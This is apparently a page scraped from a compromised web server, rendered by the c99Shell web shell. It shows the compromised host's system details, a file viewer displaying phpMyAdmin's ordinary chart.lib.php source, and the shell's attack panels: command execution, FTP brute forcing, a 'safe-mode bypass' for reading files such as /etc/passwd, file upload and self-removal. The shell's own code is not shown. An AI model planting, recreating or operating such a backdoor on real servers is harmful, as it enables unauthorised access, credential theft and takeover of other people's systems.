!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     chart.lib.php (8.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Chart functions used to generate various types of charts.
 * @package phpMyAdmin
 */

/**
 * 
 */
define('ERR_NO_GD'0);
define('ERR_NO_JSON'1);

require_once 
'./libraries/chart/pma_pchart_pie.php';
require_once 
'./libraries/chart/pma_pchart_single_bar.php';
require_once 
'./libraries/chart/pma_pchart_multi_bar.php';
require_once 
'./libraries/chart/pma_pchart_stacked_bar.php';
require_once 
'./libraries/chart/pma_pchart_single_line.php';
require_once 
'./libraries/chart/pma_pchart_multi_line.php';
require_once 
'./libraries/chart/pma_pchart_single_radar.php';
require_once 
'./libraries/chart/pma_pchart_multi_radar.php';

/**
 * Formats a chart for the status page.
 * @param array $data data for the status chart
 * @return string HTML and JS code for the chart
 */
function PMA_chart_status($data)
{
    
// format keys which will be shown in the chart
    
$chartData = array();
    foreach(
$data as $dataKey => $dataValue) {
        
$key ucwords(str_replace(array('Com_''_'), array(''' '), $dataKey));
        
$value = (int)$dataValue;
        
$chartData[$key] = $value;
    }
    
    
$chart = new PMA_pChart_Pie(
            
$chartData,
            array(
'titleText' => __('Query statistics'))
    );
    
$chartCode $chart->toString();
    
PMA_handle_chart_err($chart->getErrors());
    echo 
$chartCode;
}

/**
 * Formats a chart for the profiling page.
 * @param array $data data for the status chart
 * @return string HTML and JS code for the chart
 */
function PMA_chart_profiling($data)
{
    
$chartData = array();
    foreach(
$data as $dataValue) {
        
$value = (int)($dataValue['Duration'] * 1000000);
        
$key ucwords($dataValue['Status']);
        
$chartData[$key] = $value;
    }

    
$chart = new PMA_pChart_Pie(
            
$chartData,
            array(
'titleText' => __('Query execution time comparison (in microseconds)'))
    );
    
$chartCode $chart->toString();
    
PMA_handle_chart_err($chart->getErrors());
    echo 
$chartCode;
}

/**
 * Formats a chart for the query results page.
 * @param array $data data for the status chart
 * @param array $chartSettings settings used to generate the chart
 * @return string HTML and JS code for the chart
 */
function PMA_chart_results($data, &$chartSettings)
{
    
$chartData = array();
    
$chart null;

    
// set default title if not already set
    
if (empty($chartSettings['titleText'])) {
        
$chartSettings['titleText'] = __('Query results');
    }

    
// set default type if not already set
    
if (empty($chartSettings['type'])) {
        
$chartSettings['type'] = 'bar';
    }

    
// set default type if not already set
    
if (empty($chartSettings['continuous'])) {
        
$chartSettings['continuous'] = 'off';
    }

    
// set default bar type if needed
    
if ($chartSettings['type'] == 'bar' && empty($chartSettings['barType'])) {
        
$chartSettings['barType'] = 'stacked';
    }

    
// default for legend
    
$chartSettings['legend'] = false;

    
// default for muti series
    
$chartSettings['multi'] = false;

    if (!isset(
$data[0])) {
        
// empty data
        
return __('No data found for the chart.');
    }

    if (
count($data[0]) == || count($data[0]) == 2) {
        
// One or two columns in every row.
        // This data is suitable for a simple bar chart.

        
if ($chartSettings['type'] == 'pie') {
            
// loop through the rows, data for pie chart has to be formated
            // in a different way then in other charts.
            
foreach ($data as $rowKey => $row) {
                
$values array_values($row);

                if (
count($row) == 1) {
                    
$chartData[$rowKey] = $values[0];
                }
                else {
                    
$chartData[$values[1]] = $values[0];
                }
            }

            
$chartSettings['legend'] = true;
            
$chart = new PMA_pChart_pie($chartData$chartSettings);
        }
        else {
            
// loop through the rows
            
foreach ($data as $rowKey => $row) {

                
// loop through the columns in the row                
                
foreach ($row as $valueKey => $value) {
                    
$chartData[$valueKey][] = $value;
                }

                
// if only one column, we need to add
                // placeholder data for x axis
                
if (count($row) == 1) {
                    
$chartData[''][] = $rowKey;
                }
            }

            switch (
$chartSettings['type']) {
                case 
'bar':
                default:
                    
$chart = new PMA_pChart_single_bar($chartData$chartSettings);
                    break;
                case 
'line':
                    
$chart = new PMA_pChart_single_line($chartData$chartSettings);
                    break;
                case 
'radar':
                    
$chart = new PMA_pChart_single_radar($chartData$chartSettings);
                    break;
            }
        }        
    }
    else if (
count($data[0]) == 3) {
        
// Three columns (x axis, y axis, series) in every row.
        // This data is suitable for a stacked bar chart.
        
$chartSettings['multi'] = true;

        
$keys array_keys($data[0]);
        
$yAxisKey $keys[0];
        
$xAxisKey $keys[1];
        
$seriesKey $keys[2];
        
        
// get all the series labels
        
$seriesLabels = array();
        foreach (
$data as $row) {
            
$seriesLabels[] = $row[$seriesKey];
        }
        
$seriesLabels array_unique($seriesLabels);

        
// loop through the rows
        
$currentXLabel $data[0][$xAxisKey];
        foreach (
$data as $row) {

            
// save the label
            // use the same value as the key and the value to get rid of duplicate results
            
$chartData[$xAxisKey][$row[$xAxisKey]] = $row[$xAxisKey];

            
// make sure to set value to every serie
            
$currentSeriesLabel = (string)$row[$seriesKey];
            foreach (
$seriesLabels as $seriesLabelsValue) {
                if (
$currentSeriesLabel == $seriesLabelsValue) {
                    
// the value os for this serie
                    
$chartData[$yAxisKey][$seriesLabelsValue][$row[$xAxisKey]] = (int)$row[$yAxisKey];
                }
                else if (!isset(
$chartData[$yAxisKey][$seriesLabelsValue][$row[$xAxisKey]])) {
                    
// if the value for this serie is not set, set it to 0
                    
$chartData[$yAxisKey][$seriesLabelsValue][$row[$xAxisKey]] = 0;
                }
            }
        }

        
$chartSettings['legend'] = true;

        
// determine the chart type
        
switch ($chartSettings['type']) {
            case 
'bar':
            default:

                
// determine the bar chart type
                
switch ($chartSettings['barType']) {
                    case 
'stacked':
                    default:
                        
$chart = new PMA_pChart_stacked_bar($chartData$chartSettings);
                        break;
                    case 
'multi':
                        
$chart = new PMA_pChart_multi_bar($chartData$chartSettings);
                        break;
                }
                break;
            
            case 
'line':
                
$chart = new PMA_pChart_multi_line($chartData$chartSettings);
                break;
            case 
'radar':
                
$chart = new PMA_pChart_multi_radar($chartData$chartSettings);
                break;
        }
    }
    else {
        
// unknown data format
        
return '';
    }

    
$chartCode $chart->toString();
    
$chartSettings $chart->getSettings();
    
$chartErrors $chart->getErrors();
    
PMA_handle_chart_err($chartErrors);
    
    return 
$chartCode;
}

/**
 * Simple handler of chart errors.
 * @param array $errors all occured errors
 */
function PMA_handle_chart_err($errors)
{
    if (
in_array(ERR_NO_GD$errors)) {
        
PMA_warnMissingExtension('GD'false__('GD extension is needed for charts.'));
    }
    else if (
in_array(ERR_NO_JSON$errors)) {
        
PMA_warnMissingExtension('JSON'false__('JSON encoder is needed for chart tooltips.'));
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0069 ]--